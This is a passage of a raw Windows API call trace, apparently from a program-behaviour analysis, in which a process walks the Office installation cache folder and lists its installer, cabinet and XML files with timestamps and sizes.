cAlternateFileName="")) returned 0x5930a0 [0047.125] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xe8729610, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xecdfa490, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.125] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe874f770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x263400, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.msi", cAlternateFileName="POWERP~1.MSI")) returned 1 [0047.125] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.xml", cAlternateFileName="POWERP~1.XML")) returned 1 [0047.131] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2d523500, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2d523500, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xe8b079d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x431a290, dwReserved0=0x0, dwReserved1=0x0, cFileName="PptLR.cab", cAlternateFileName="")) returned 1 [0047.131] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.137] FindNextFileW (in: hFindFile=0x5930a0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.137] FindClose (in: hFindFile=0x5930a0 | out: hFindFile=0x5930a0) returned 1 [0047.137] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.137] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-0019-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9877A~1")) returned 1 [0047.137] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0019-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0047.142] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc3e6570, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfc8a9170, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc40b730, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x265c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.msi", cAlternateFileName="PUBLIS~1.MSI")) returned 1 [0047.142] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4529b900, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x4529b900, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc3e4630, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PublisherMUI.xml", cAlternateFileName="PUBLIS~1.XML")) returned 1 [0047.154] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3cd17e00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3cd17e00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc47e320, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x97f3f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="PubLR.cab", cAlternateFileName="")) returned 1 [0047.154] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.154] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x648, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.154] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0047.154] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.154] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001A-0409-1000-0000000FF1CE}-C", cAlternateFileName="{9765F~1")) returned 1 [0047.154] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593060 [0047.161] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xee829690, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf00dbad0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf00dbad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.161] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3a6f2400, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3a6f2400, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xeebe0180, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xe21fcc, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlkLR.cab", cAlternateFileName="")) returned 1 [0047.161] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x2bba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.msi", cAlternateFileName="OUTLOO~1.MSI")) returned 1 [0047.161] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xee827f20, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xc72, dwReserved0=0x0, dwReserved1=0x0, cFileName="OutlookMUI.xml", cAlternateFileName="OUTLOO~1.XML")) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x593060, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x106f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 0 [0047.162] FindClose (in: hFindFile=0x593060 | out: hFindFile=0x593060) returned 1 [0047.162] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.162] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-001B-0409-1000-0000000FF1CE}-C", cAlternateFileName="{94E50~1")) returned 1 [0047.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.166] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xfc8a9170, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xfe076d70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.166] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfe076d70, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x978, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.xml", cAlternateFileName="")) returned 1 [0047.166] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x2fb48f00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x2fb48f00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc967850, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x29c6dbd, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordLR.cab", cAlternateFileName="")) returned 1 [0047.166] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3e02ab00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3e02ab00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x267e00, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.msi", cAlternateFileName="")) returned 1 [0047.166] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 1 [0047.166] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x43f88c00, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x43f88c00, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xfc8a9170, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x708, dwReserved0=0x0, dwReserved1=0x0, cFileName="WordMUI.xml", cAlternateFileName="")) returned 0 [0047.167] FindClose (in: hFindFile=0x5930e0 | out: hFindFile=0x5930e0) returned 1 [0047.167] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37c0058 | out: hHeap=0xb80000) returned 1 [0047.167] FindNextFileW (in: hFindFile=0x593020, lpFindFileData=0x2faf18c | out: lpFindFileData=0x2faf18c*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90140000-002C-0409-1000-0000000FF1CE}-C", cAlternateFileName="{92787~1")) returned 1 [0047.167] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\*", lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5930e0 [0047.174] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2011, ftCreationTime.dwLowDateTime=0xf00dbad0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf58c8770, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf58c8770, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.174] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0047.174] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.en\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.175] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf01c0310, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf07b3a10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf07b3a10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.175] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x219b4a00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x219b4a00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf07b1ad0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xaf35ed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.175] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x4db6cb00, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0x4db6cb00, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf020c5d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd5c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.msi", cAlternateFileName="")) returned 1 [0047.175] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 1 [0047.175] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa38b7300, ftCreationTime.dwHighDateTime=0x1cad01b, ftLastAccessTime.dwLowDateTime=0xa38b7300, ftLastAccessTime.dwHighDateTime=0x1cad01b, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.xml", cAlternateFileName="")) returned 0 [0047.175] FindClose (in: hFindFile=0x593120 | out: hFindFile=0x593120) returned 1 [0047.175] HeapFree (in: hHeap=0xb80000, dwFlags=0x0, lpMem=0x37d0060 | out: hHeap=0xb80000) returned 1 [0047.175] FindNextFileW (in: hFindFile=0x5930e0, lpFindFileData=0x2faef08 | out: lpFindFileData=0x2faef08*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0047.175] FindFirstFileW (in: lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\*", lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x593120 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf4d53d90, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf4f690d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3ba05100, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3ba05100, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4f690d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd02aea, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.cab", cAlternateFileName="")) returned 1 [0047.176] FindNextFileW (in: hFindFile=0x593120, lpFindFileData=0x2faec84 | out: lpFindFileData=0x2faec84*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x3f33d800, ftCreationTime.dwHighDateTime=0x1cad04a, ftLastAccessTime.dwLowDateTime=0x3f33d800, ftLastAccessTime.dwHighDateTime=0x1cad04a, ftLastWriteTime.dwLowDateTime=0xf4e5c7f0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xd7200, dwReserved0=0x0, dwReserved1=0x0, 